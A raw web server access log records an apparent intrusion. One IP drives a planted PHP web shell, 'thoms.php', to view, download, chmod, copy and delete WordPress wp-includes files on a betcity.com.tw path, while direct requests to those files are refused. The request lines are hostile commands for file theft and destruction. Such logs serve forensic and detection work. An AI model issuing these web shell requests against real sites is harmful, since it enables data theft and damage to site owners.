45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /betcity.com.tw/wp-includes/block-bindings.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /betcity.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?dl=rss-functions.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59461 "http://163.245.207.76:443/thoms.php?dl=rss-functions.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?chmod=fonts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=fonts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:16 -0400] "GET /thoms.php?dl=class-feed.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59404 "http://163.245.207.76:443/thoms.php?dl=class-feed.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11890 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-token-map.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /betcity.com.tw/wp-includes/default-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?del=class-wp-exception.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-exception.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-proxy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59248 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-nav-menu.php HTTP/1.1" 200 15106 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-walker-nav-menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18458 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fl10n.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11876 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fl10n.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59363 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:17 -0400] "GET /thoms.php?dl=icons.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59417 "http://163.245.207.76:443/thoms.php?dl=icons.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?del=theme.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=theme.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /betcity.com.tw/wp-includes/block-template-utils.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-default-constants.php HTTP/1.1" 200 13725 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=ms-default-constants.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?dl=class-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-patterns-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /betcity.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-network-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-setting.php HTTP/1.1" 200 20173 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-customize-setting.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?dl=theme-i18n.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=theme-i18n.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:18 -0400] "GET /thoms.php?dl=class-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59361 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser-frame.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /thoms.php?del=class-wp-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11896 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /thoms.php?dl=class-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59421 "http://163.245.207.76:443/thoms.php?dl=class-wp-script-modules.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /betcity.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /betcity.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /betcity.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /betcity.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11541 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /betcity.com.tw/wp-includes/class-phpass.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:19 -0400] "GET /thoms.php?del=rest-api&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=rest-api&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /betcity.com.tw/wp-includes/class-wp-http-requests-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 200 17024 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?chmod=date.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 200 17491 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-icons-registry.php HTTP/1.1" 200 14890 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-icons-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?del=class-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59352 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=media-template.php HTTP/1.1" 200 29241 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=media-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcapabilities.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11870 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fcapabilities.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11886 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fclass-walker-category-dropdown.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /betcity.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /betcity.com.tw/wp-includes/class-wp-comment.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?chmod=shortcodes.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11512 "http://163.245.207.76:443/thoms.php?chmod=shortcodes.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-editor.php HTTP/1.1" 200 33501 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:20 -0400] "GET /thoms.php?del=class-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?del=class-wp-tax-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?chmod=class-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11538 "http://163.245.207.76:443/thoms.php?chmod=class-wp-navigation-fallback.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=class-wp-simplepie-sanitize-kses.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /betcity.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59413 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /betcity.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 200 12354 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /betcity.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /betcity.com.tw/wp-includes/class-wp-textdomain-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?dl=class-wp-term-query.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-term-query.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json.php HTTP/1.1" 200 75061 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=class-wp-theme-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?del=php-ai-client&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59412 "http://163.245.207.76:443/thoms.php?del=php-ai-client&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:21 -0400] "GET /thoms.php?dl=class-wp-block-list.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59408 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-list.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /thoms.php?chmod=default-widgets.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /thoms.php?del=class-wp.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59449 "http://163.245.207.76:443/thoms.php?del=class-wp.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /betcity.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /thoms.php?dl=class-wp-error.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-error.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /thoms.php?dl=class-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59425 "http://163.245.207.76:443/thoms.php?dl=class-wp-textdomain-registry.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:22 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?chmod=theme.json&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 11507 "http://163.245.207.76:443/thoms.php?chmod=theme.json&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?dl=link-template.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59422 "http://163.245.207.76:443/thoms.php?dl=link-template.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme.php HTTP/1.1" 200 50961 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes&view=update.php HTTP/1.1" 200 22690 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-includes&view=update.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:36:23 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59423 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
